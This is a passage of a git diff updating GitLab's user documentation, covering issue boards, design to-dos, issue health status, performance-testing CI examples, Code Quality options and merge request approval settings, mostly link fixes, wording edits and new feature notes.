+This ordering also affects [issue lists](issues/sorting_issue_lists.md).
+Changing the order in an issue board changes the ordering in an issue list,
+and vice versa.
+
+## GitLab Enterprise features for issue boards
+
+GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some
+advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/).
### Multiple issue boards
@@ -248,6 +247,10 @@ clicking **View scope**.
![Viewing board configuration](img/issue_board_view_scope.png)
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+Watch a [video presentation](https://youtu.be/m5UTNCSqaDk) of
+the Configurable Issue Board feature.
+
### Focus mode
> - [Introduced]((https://about.gitlab.com/releases/2017/04/22/gitlab-9-1-released/#issue-boards-focus-mode-ees-eep)) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.1.
@@ -265,7 +268,7 @@ is hidden, allowing you to focus on issues in the board.
The top of each list indicates the sum of issue weights for the issues that
belong to that list. This is useful when using boards for capacity allocation,
-especially in combination with [assignee lists](#assignee-lists-premium).
+especially in combination with [assignee lists](#assignee-lists).
![issue board summed weights](img/issue_board_summed_weights.png)
@@ -362,7 +365,6 @@ status.
- [Create workflows](#create-workflows).
- [Drag issues between lists](#drag-issues-between-lists).
- [Multi-select issue cards](#multi-select-issue-cards).
-- [Re-order issues in lists](#issue-ordering-in-a-list).
- Drag and reorder the lists.
- Change issue labels (by dragging an issue between lists).
- Close an issue (by dragging it to the **Done** list).
@@ -441,8 +443,9 @@ You can filter by author, assignee, milestone, and label.
### Create workflows
By reordering your lists, you can create workflows. As lists in issue boards are
-based on labels, it works out of the box with your existing issues. So if you've
-already labeled things with 'Backend' and 'Frontend', the issue appears in
+based on labels, it works out of the box with your existing issues.
+
+So if you've already labeled things with **Backend** and **Frontend**, the issue appears in
the lists as you create them. In addition, this means you can easily move
something between lists by changing a label.
@@ -456,20 +459,22 @@ A typical workflow of using an issue board would be:
1. You move issues around in lists so that your team knows who should be working
on what issue.
1. When the work by one team is done, the issue can be dragged to the next list
- so someone else can pick up.
+ so someone else can pick it up.
1. When the issue is finally resolved, the issue is moved to the **Done** list
and gets automatically closed.
-For instance you can create a list based on the label of 'Frontend' and one for
-'Backend'. A designer can start working on an issue by adding it to the
-'Frontend' list. That way, everyone knows that this issue is now being
-worked on by the designers. Then, once they're done, all they have to do is
-drag it over to the next list, 'Backend', where a backend developer can
+For example, you can create a list based on the label of **Frontend** and one for
+**Backend**. A designer can start working on an issue by adding it to the
+**Frontend** list. That way, everyone knows that this issue is now being
+worked on by the designers.
+
+Then, once they're done, all they have to do is
+drag it to the next list, **Backend**, where a backend developer can
eventually pick it up. Once they’re done, they move it to **Done**, to close the
issue.
This process can be seen clearly when visiting an issue since with every move
-to another list the label changes and a system not is recorded.
+to another list the label changes and a system note is recorded.
![issue board system notes](img/issue_board_system_notes.png)
@@ -497,33 +502,6 @@ To select and move multiple cards:
![Multi-select Issue Cards](img/issue_boards_multi_select_v12_4.png)
-### Issue ordering in a list
-
-When visiting a board, issues appear ordered in any list. You're able to change
-that order by dragging and dropping the issues. The changed order will be saved
-to the system so that anybody who visits the same board later will see the reordering,
-with some exceptions.
-
-The first time a given issue appears in any board (that is, the first time a user
-loads a board containing that issue), it is ordered with
-respect to other issues in that list according to [Priority order](labels.md#label-priority).
-
-At that point, that issue is assigned a relative order value by the system
-representing its relative order with respect to the other issues in the list. Any time
-you drag-and-drop reorder that issue, its relative order value changes accordingly.
-
-Also, any time that issue appears in any board when it's loaded by a user,
-the updated relative order value is used for the ordering. (It's only the first
-time an issue appears that it takes from the Priority order mentioned above.) This means that
-if issue `A` is drag-and-drop reordered to be above issue `B` by any user in
-a given board inside your GitLab instance, any time those two issues are subsequently
-loaded in any board in the same instance (could be a different project board or a different group
-board, for example), that ordering is maintained.
-
-This ordering also affects [issue lists](issues/sorting_issue_lists.md).
-Changing the order in an issue board changes the ordering in an issue list,
-and vice versa.
-
## Tips
A few things to remember:
@@ -537,4 +515,4 @@ A few things to remember:
and show only the issues from all lists that have that label.
- For performance and visibility reasons, each list shows the first 20 issues
by default. If you have more than 20 issues, start scrolling down and the next
- 20 appears.
+ 20 appear.
diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md
index 5e456c7986c..7c9278c8403 100644
--- a/doc/user/project/issues/design_management.md
+++ b/doc/user/project/issues/design_management.md
@@ -1,3 +1,9 @@
+---
+stage: Create
+group: Knowledge
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+---
+
# Design Management
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/660) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2.
@@ -72,39 +78,12 @@ and connect to GitLab through a personal access token. The details are explained
## The Design Management section
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223193) in GitLab 13.2, Designs are displayed directly on the issue description rather than on a separate tab.
-> - The new display is deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It cannot be enabled or disabled per-project.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-displaying-designs-on-the-issue-description-core-only). If disabled, it will move Designs back to the **Designs** tab.
+> - New display's feature flag [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/223197) in GitLab 13.4.
You can find to the **Design Management** section in the issue description:
![Designs section](img/design_management_v13_2.png)
-### Enable or disable displaying Designs on the issue description **(CORE ONLY)**
-
-Displaying Designs on the issue description is under development but ready for
-production use. It is deployed behind a feature flag that is **enabled by
-default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:design_management_moved)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:design_management_moved)
-```
-
-By disabling this feature, designs will be displayed on the **Designs** tab
-instead of directly on the issue description.
-
## Adding designs
To upload Design images, drag files from your computer and drop them in the Design Management section,
@@ -252,13 +231,47 @@ Note that your resolved comment pins will disappear from the Design to free up s
However, if you need to revisit or find a resolved discussion, all of your resolved threads will be
available in the **Resolved Comment** area at the bottom of the right sidebar.
+## Add To-Do for Designs
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198439) in GitLab 13.4.
+> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-design-to-do-button). **(CORE ONLY)**
+
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+Add a to-do for a design by clicking **Add a To-Do** on the design sidebar:
+
+![To-Do button](img/design_todo_button_v13_4.png)
+
+### Enable or disable the design To-Do button **(CORE ONLY)**
+
+The **Add a To-Do** button for Designs is under development but ready for production use. It is
+deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:design_management_todo_button)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:design_management_todo_button)
+```
+
## Referring to designs in Markdown
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217160) in **GitLab 13.1**.
> - It is deployed behind a feature flag, disabled by default.
> - It is disabled on GitLab.com.
> - It is not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-design-references-core-only). **(CORE ONLY)**
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-design-references). **(CORE ONLY)**
We support referring to designs in [Markdown](../../markdown.md), which is available
throughout the application, including in merge request and issue descriptions, in discussions and comments, and in wiki pages.
diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md
index 56fb4ca5cc7..55b45bf9d3d 100644
--- a/doc/user/project/issues/due_dates.md
+++ b/doc/user/project/issues/due_dates.md
@@ -44,9 +44,9 @@ the icon and the date colored red. You can sort issues by those that are
![Issues with due dates in the issues index page](img/due_dates_issues_index_page.png)
-Due dates also appear in your [todos list](../../todos.md).
+Due dates also appear in your [to-do list](../../todos.md).
-![Issues with due dates in the todos](img/due_dates_todos.png)
+![Issues with due dates in the to-dos](img/due_dates_todos.png)
The day before an open issue is due, an email will be sent to all participants
of the issue. Like the due date, the "day before the due date" is determined by the
diff --git a/doc/user/project/issues/img/design_todo_button_v13_4.png b/doc/user/project/issues/img/design_todo_button_v13_4.png
new file mode 100644
index 00000000000..62bbecf4ed9
--- /dev/null
+++ b/doc/user/project/issues/img/design_todo_button_v13_4.png
Binary files differ
diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md
index a6911d183c1..060266a478f 100644
--- a/doc/user/project/issues/index.md
+++ b/doc/user/project/issues/index.md
@@ -93,7 +93,7 @@ must be set.
While you can view and manage the full details of an issue on the [issue page](#issue-page),
you can also work with multiple issues at a time using the [Issues List](#issues-list),
-[Issue Boards](#issue-boards), Issue references, and [Epics](#epics-premium)**(PREMIUM)**.
+[Issue Boards](#issue-boards), Issue references, and [Epics](#epics)**(PREMIUM)**.
Key actions for Issues include:
@@ -112,8 +112,6 @@ and modify them if you have the necessary [permissions](../../permissions.md).
#### Real-time sidebar **(CORE ONLY)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3.
-> - It cannot be enabled or disabled per-project.
-> - It's not recommended for production use.
Assignees in the sidebar are updated in real time. This feature is **disabled by default**.
To enable, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html).
@@ -186,8 +184,8 @@ requires [GraphQL](../../../api/graphql/index.md) to be enabled.
### Health status **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10.
-
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10.
+> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4 and later.
To help you track the status of your issues, you can assign a status to each issue to flag work
that's progressing as planned or needs attention to keep on schedule:
@@ -197,8 +195,11 @@ that's progressing as planned or needs attention to keep on schedule:
!["On track" health status on an issue](img/issue_health_status_dropdown_v12_10.png)
+After an issue is closed, its health status can't be edited and the "Edit" button becomes disabled
+until the issue is reopened.
+
You can then see issue statuses on the
-[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree-ultimate).
+[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree).
#### Disable issue health status
@@ -220,4 +221,4 @@ Feature.disable(:save_issuable_health_status)
- [Export issues](csv_export.md)
- [Issues API](../../../api/issues.md)
- Configure an [external issue tracker](../../../integration/external-issue-tracker.md)
- such as Jira, Redmine, or Bugzilla.
+ such as Jira, Redmine, Bugzilla, or EWM.
diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md
index 77c50f9178c..5356e6aeb40 100644
--- a/doc/user/project/issues/issue_data_and_actions.md
+++ b/doc/user/project/issues/issue_data_and_actions.md
@@ -21,13 +21,13 @@ You can find all the information for that issue on one screen.
- **1.** [New Issue, close issue (reopen issue, report issue)](#new-issue-close-issue-reopen-issue-report-issue)
- **2.** [To Do](#to-do)
- **3.** [Assignee](#assignee)
- - **3.1.** [Multiple Assignees **(STARTER)**](#multiple-assignees-starter)
-- **4.** [Epic **(PREMIUM)**](#epic-premium)
+ - **3.1.** [Multiple Assignees **(STARTER)**](#multiple-assignees)
+- **4.** [Epic **(PREMIUM)**](#epic)
- **5.** [Milestone](#milestone)
- **6.** [Time tracking](#time-tracking)
- **7.** [Due date](#due-date)
- **8.** [Labels](#labels)
-- **9.** [Weight **(STARTER)**](#weight-starter)
+- **9.** [Weight **(STARTER)**](#weight)
- **10.** [Confidentiality](#confidentiality)
- **11.** [Lock issue](#lock-issue)
- **12.** [Participants](#participants)
@@ -36,7 +36,7 @@ You can find all the information for that issue on one screen.
- **15.** [Edit](#edit)
- **16.** [Description](#description)
- **17.** [Mentions](#mentions)
-- **18.** [Related Issues **(STARTER)**](#related-issues-starter)
+- **18.** [Related Issues **(STARTER)**](#related-issues)
- **19.** [Related Merge Requests](#related-merge-requests)
- **20.** [Award emoji](#award-emoji)
- **21.** [Show all activity](#show-all-activity)
@@ -88,7 +88,7 @@ An issue can be assigned to:
- Yourself.
- Another person.
-- [Many people](#multiple-assignees-starter). **(STARTER)**
+- [Many people](#multiple-assignees). **(STARTER)**
The assignee(s) can be changed as often as needed. The idea is that the assignees are
responsible for that issue until it's reassigned to someone else to take it from there.
@@ -196,7 +196,7 @@ allowing many formatting options.
### Mentions
You can mention a user or a group present in your GitLab instance with `@username` or
-`@groupname` and they will be notified via todos and email, unless they have disabled
+`@groupname` and they will be notified via to-dos and email, unless they have disabled
all notifications in their profile settings. This is controlled in the
[notification settings](../../profile/notifications.md).
diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md
index 7cbd9906800..8a8359a4b02 100644
--- a/doc/user/project/issues/sorting_issue_lists.md
+++ b/doc/user/project/issues/sorting_issue_lists.md
@@ -11,7 +11,7 @@ etc. The available sorting options can change based on the context of the list.
For sorting by issue priority, see [Label Priority](../labels.md#label-priority).
In group and project issue lists, it is also possible to order issues manually,
-similar to [issue boards](../issue_board.md#issue-ordering-in-a-list).
+similar to [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list).
## Manual sorting
@@ -31,6 +31,6 @@ a given list inside your GitLab instance, any time those two issues are subseque
loaded in any list in the same instance (could be a different project issue list or a
different group issue list, for example), that ordering will be maintained.
-This ordering also affects [issue boards](../issue_board.md#issue-ordering-in-a-list).
+This ordering also affects [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list).
Changing the order in an issue list changes the ordering in an issue board,
and vice versa.
diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md
index 10457e40e0b..040ca4b439b 100644
--- a/doc/user/project/merge_requests/browser_performance_testing.md
+++ b/doc/user/project/merge_requests/browser_performance_testing.md
@@ -37,7 +37,7 @@ Consider the following workflow:
## How browser performance testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance-premium).
+[Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance).
GitLab then checks this report, compares key performance metrics for each page
between the source and target branches, and shows the information in the merge request.
@@ -85,7 +85,7 @@ The example uses a CI/CD template that is included in all GitLab installations s
or older, you must [add the configuration manually](#gitlab-versions-123-and-older)
The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance),
-and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance-premium)
+and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance)
that you can later download and analyze. This implementation always takes the latest
Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled,
you can view the report directly in your browser.
@@ -93,7 +93,7 @@ you can view the report directly in your browser.
You can also customize the jobs with environment variables:
- `SITESPEED_IMAGE`: Configure the Docker image to use for the job (default `sitespeedio/sitespeed.io`), but not the image version.
-- `SITESPEED_VERSION`: Configure the version of the Docker image to use for the job (default `13.3.0`).
+- `SITESPEED_VERSION`: Configure the version of the Docker image to use for the job (default `14.1.0`).
- `SITESPEED_OPTIONS`: Configure any additional sitespeed.io options as required (default `nil`). Refer to the [sitespeed.io documentation](https://www.sitespeed.io/documentation/sitespeed.io/configuration/) for more details.
For example, you can override the number of runs sitespeed.io
@@ -196,13 +196,13 @@ performance:
image: docker:git
variables:
URL: https://example.com
- SITESPEED_VERSION: 13.3.0
+ SITESPEED_VERSION: 14.1.0
SITESPEED_OPTIONS: ''
services:
- docker:stable-dind
script:
- mkdir gitlab-exporter
- - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/master/index.js
+ - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js
- mkdir sitespeed-results
- docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io sitespeedio/sitespeed.io:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --outputFolder sitespeed-results $URL $SITESPEED_OPTIONS
- mv sitespeed-results/data/performance.json performance.json
@@ -226,7 +226,7 @@ performance:
- docker:stable-dind
script:
- mkdir gitlab-exporter
- - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/master/index.js
+ - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js
- mkdir sitespeed-results
- docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io sitespeedio/sitespeed.io:6.3.1 --plugins.add ./gitlab-exporter --outputFolder sitespeed-results $URL
- mv sitespeed-results/data/performance.json performance.json
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index 3c697e22cf5..e03d4e99b86 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -23,7 +23,7 @@ Code Quality:
Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project using [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults).
- Can make use of a [template](#example-configuration).
- Is available with [Auto
- DevOps](../../../topics/autodevops/stages.md#auto-code-quality-starter).
+ DevOps](../../../topics/autodevops/stages.md#auto-code-quality).
- Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool).
## Code Quality Widget
@@ -69,7 +69,7 @@ For instance, consider the following workflow:
This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker.
It requires GitLab 11.11 or later, and GitLab Runner 11.5 or later. If you are using
-GitLab 11.4 or ealier, you can view the deprecated job definitions in the
+GitLab 11.4 or earlier, you can view the deprecated job definitions in the
[documentation archive](https://docs.gitlab.com/12.10/ee/user/project/merge_requests/code_quality.html#previous-job-definitions).
First, you need GitLab Runner configured:
@@ -77,7 +77,7 @@ First, you need GitLab Runner configured:
- For the [Docker-in-Docker workflow](../../../ci/docker/using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor).
- With enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB.
-Once you set up the Runner, include the Code Quality template in your CI configuration:
+Once you set up GitLab Runner, include the Code Quality template in your CI configuration:
```yaml
include:
@@ -102,6 +102,16 @@ code_quality:
CODE_QUALITY_IMAGE: "registry.example.com/codequality-fork:latest"
```
+In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), you can override the [Code Quality environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables):
+
+```yaml
+variables:
+ TIMEOUT_SECONDS: 1
+
+include:
+ - template: Code-Quality.gitlab-ci.yml
+```
+
By default, report artifacts are not downloadable. If you need them downloadable on the
job details page, you can add `gl-code-quality-report.json` to the artifact paths like so:
@@ -126,7 +136,7 @@ This information will be automatically extracted and shown right in the merge re
CAUTION: **Caution:**
On self-managed instances, if a malicious actor compromises the Code Quality job
-definition they will be able to execute privileged Docker commands on the Runner
+definition they will be able to execute privileged Docker commands on the runner
host. Having proper access control policies mitigates this attack vector by
allowing access only to trusted actors.
@@ -276,7 +286,7 @@ This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`
included in your project.
Changes to the `plugins:` section do not affect the `exclude_patterns` section of the
-defeault `.codeclimate.yml`. See the Code Climate documentation for
+default `.codeclimate.yml`. See the Code Climate documentation for
[excluding files and folders](https://docs.codeclimate.com/docs/excluding-files-and-folders)
for more details.
diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md
index c7cabf3c73b..a0be32e0708 100644
--- a/doc/user/project/merge_requests/getting_started.md
+++ b/doc/user/project/merge_requests/getting_started.md
@@ -53,7 +53,7 @@ When you start a new merge request, you can immediately include the following
options, or add them later by clicking the **Edit** button on the merge
request's page at the top-right side:
-- [Assign](#assignee) the merge request to a colleague for review. With GitLab Starter and higher tiers, you can [assign it to more than one person at a time](#multiple-assignees-starter).
+- [Assign](#assignee) the merge request to a colleague for review. With GitLab Starter and higher tiers, you can [assign it to more than one person at a time](#multiple-assignees).
- Set a [milestone](../milestones/index.md) to track time-sensitive changes.
- Add [labels](../labels.md) to help contextualize and filter your merge requests over time.
- Require [approval](merge_request_approvals.md) from your team. **(STARTER)**
diff --git a/doc/user/project/merge_requests/img/browser_performance_testing.png b/doc/user/project/merge_requests/img/browser_performance_testing.png
index 016abb89f7c..a3d7022bcfc 100644
--- a/doc/user/project/merge_requests/img/browser_performance_testing.png
+++ b/doc/user/project/merge_requests/img/browser_performance_testing.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/update_approval_rule_v13_4.png b/doc/user/project/merge_requests/img/update_approval_rule_v13_4.png
new file mode 100644
index 00000000000..af713b48140
--- /dev/null
+++ b/doc/user/project/merge_requests/img/update_approval_rule_v13_4.png
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index a9ee9d8e507..69276f0677b 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -19,7 +19,7 @@ A. Consider you're a software developer working in a team:
1. You checkout a new branch, and submit your changes through a merge request
1. You gather feedback from your team
1. You work on the implementation optimizing code with [Code Quality reports](code_quality.md)
-1. You verify your changes with [JUnit test reports](../../../ci/junit_test_reports.md) in GitLab CI/CD
+1. You verify your changes with [Unit test reports](../../../ci/unit_test_reports.md) in GitLab CI/CD
1. You avoid using dependencies whose license is not compatible with your project with [License Compliance reports](../../compliance/license_compliance/index.md) **(ULTIMATE)**
1. You request the [approval](merge_request_approvals.md) from your manager **(STARTER)**
1. Your manager:
diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md
index 97f4f202ab3..daebd71e14f 100644
--- a/doc/user/project/merge_requests/load_performance_testing.md
+++ b/doc/user/project/merge_requests/load_performance_testing.md
@@ -28,7 +28,7 @@ GET calls to a popular API endpoint in your application to see how it performs.
## How Load Performance Testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance-premium).
+[Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance).
GitLab checks this report, compares key load performance metrics
between the source and target branches, and then shows the information in a merge request widget:
@@ -102,7 +102,7 @@ job.
An example configuration workflow:
-1. Set up a GitLab Runner that can run Docker containers, such as a Runner using the
+1. Set up GitLab Runner to run Docker containers, like the
[Docker-in-Docker workflow](../../../ci/docker/using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor).
1. Configure the default Load Performance Testing CI job in your `.gitlab-ci.yml` file.
You need to include the template and configure it with variables:
@@ -140,7 +140,7 @@ For example, you can override the duration of the test with a CLI option:
GitLab only displays the key performance metrics in the MR widget if k6's results are saved
via [summary export](https://k6.io/docs/results-visualization/json#summary-export)
-as a [Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance-premium).
+as a [Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance).
The latest Load Performance artifact available is always used, using the
summary values from the test.
@@ -152,17 +152,20 @@ The CI/CD YAML configuration example above works for testing against static envi
but it can be extended to work with [review apps](../../../ci/review_apps) or
[dynamic environments](../../../ci/environments) with a few extra steps.
-The best approach is to capture the dynamic URL into a custom environment variable that
-is then [inherited](../../../ci/variables/README.md#inherit-environment-variables)
-by the `load_performance` job. The k6 test script to be run should then be configured to
-use that environment URL, such as: ``http.get(`${__ENV.ENVIRONMENT_URL`})``.
+The best approach is to capture the dynamic URL in a [`.env` file](https://docs.docker.com/compose/env-file/)
+as a job artifact to be shared, then use a custom environment variable we've provided named `K6_DOCKER_OPTIONS`
+to configure the k6 Docker container to use the file. With this, k6 can then use any
+environment variables from the `.env` file in scripts using standard JavaScript,
+such as: ``http.get(`${__ENV.ENVIRONMENT_URL`})``.
For example:
1. In the `review` job:
- 1. Capture the dynamic URL and save it into a `.env` file, e.g. `echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env`.
- 1. Set the `.env` file to be an [`artifacts:reports:dotenv` report](../../../ci/variables/README.md#inherit-environment-variables).
-1. Set the `load_performance` job to depend on the review job, so it inherits the environment variable.
+ 1. Capture the dynamic URL and save it into a `.env` file, e.g. `echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env`.
+ 1. Set the `.env` file to be a [job artifact](../../../ci/pipelines/job_artifacts.md#job-artifacts).
+1. In the `load_performance` job:
+ 1. Set it to depend on the review job, so it inherits the env file.
+ 1. Set the `K6_DOCKER_OPTIONS` variable with the [Docker cli option for env files](https://docs.docker.com/engine/reference/commandline/run/#set-environment-variables--e---env---env-file), for example `--env-file review.env`.
1. Configure the k6 test script to use the environment variable in it's steps.
Your `.gitlab-ci.yml` file might be similar to:
@@ -184,15 +187,16 @@ review:
- run_deploy_script
- echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env
artifacts:
- reports:
- dotenv:
- review.env
+ paths:
+ - review.env
rules:
- if: '$CI_COMMIT_BRANCH' # Modify to match your pipeline rules, or use `only/except` if needed.
load_performance:
dependencies:
- review
+ variables:
+ K6_DOCKER_OPTIONS: '--env-file review.env'
rules:
- if: '$CI_COMMIT_BRANCH' # Modify to match your pipeline rules, or use `only/except` if needed.
```
diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md
index 407fc5db425..185ab0e6298 100644
--- a/doc/user/project/merge_requests/merge_request_approvals.md
+++ b/doc/user/project/merge_requests/merge_request_approvals.md
@@ -36,7 +36,7 @@ Required approvals enable multiple use cases:
database, and so on, for all proposed code changes.
- Designating [Code Owners as eligible approvers](#code-owners-as-eligible-approvers),
determined by the files changed in a merge request.
-- [Requiring approval from a security team](#security-approvals-in-merge-requests-ultimate)
+- [Requiring approval from a security team](#security-approvals-in-merge-requests)
before merging code that could introduce a vulnerability.**(ULTIMATE)**
### Approval Rules
@@ -52,7 +52,7 @@ minimum number of required approvers can still be set in the [project settings f
You can opt to define one single rule to approve a merge request among the available rules
or choose more than one. Single approval rules are available in GitLab Starter and higher tiers,
-while [multiple approval rules](#multiple-approval-rules-premium) are available in
+while [multiple approval rules](#multiple-approval-rules) are available in
[GitLab Premium](https://about.gitlab.com/pricing/) and above.
NOTE: **Note:**
@@ -61,6 +61,8 @@ group is public.
#### Eligible Approvers
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10294) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3, when an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget.
+
The following users can approve merge requests:
- Users who have been added as approvers at the project or merge request levels with
@@ -84,8 +86,7 @@ if [**Prevent author approval**](#allowing-merge-request-authors-to-approve-thei
and [**Prevent committers approval**](#prevent-approval-of-merge-requests-by-their-committers) (disabled by default)
are enabled on the project settings.
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10294) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3,
-when an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget,
+When an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget,
indicating who has engaged in the merge request review. Authors and reviewers can also easily identify who they should reach out
to if they have any questions or inputs about the content of the merge request.
@@ -118,7 +119,30 @@ users with Developer or higher permissions, as well as by Code Owners,
indistinguishably.
Alternatively, you can **require**
-[Code Owner's approvals for Protected Branches](../protected_branches.md#protected-branches-approval-by-code-owners-premium). **(PREMIUM)**
+[Code Owner's approvals for Protected Branches](../protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)**
+
+#### Merge Request approval segregation of duties
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40491) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4.
+
+Managers or operators with [Reporter permissions](../../permissions.md#project-members-permissions)
+to a project sometimes need to be required approvers of a merge request,
+before a merge to a protected branch begins. These approvers aren't allowed
+to push or merge code to any branches.
+
+To enable this access:
+
+1. [Create a new group](../../group/index.md#create-a-new-group), and then
+ [add the user to the group](../../group/index.md#add-users-to-a-group),
+ ensuring you select the Reporter role for the user.
+1. [Share the project with your group](../members/share_project_with_groups.md#sharing-a-project-with-a-group-of-users),
+ based on the Reporter role.
+1. Navigate to your project's **Settings > General**, and in the
+ **Merge request approvals** section, click **Expand**.
+1. [Add the group](../../group/index.md#create-a-new-group) to the permission list
+ for the protected branch.
+
+![Update approval rule](img/update_approval_rule_v13_4.png)
#### Adding / editing a default approval rule
@@ -204,7 +228,7 @@ Alternatively, you can select a very specific protected branch from the **Target
![Scoped to Protected Branch](img/scoped_to_protected_branch_v12_8.png)
-To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners-premium).
+To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners).
### Adding or removing an approval
@@ -242,9 +266,9 @@ The project settings for Merge request approvals are found by going to
#### Prevent overriding default approvals
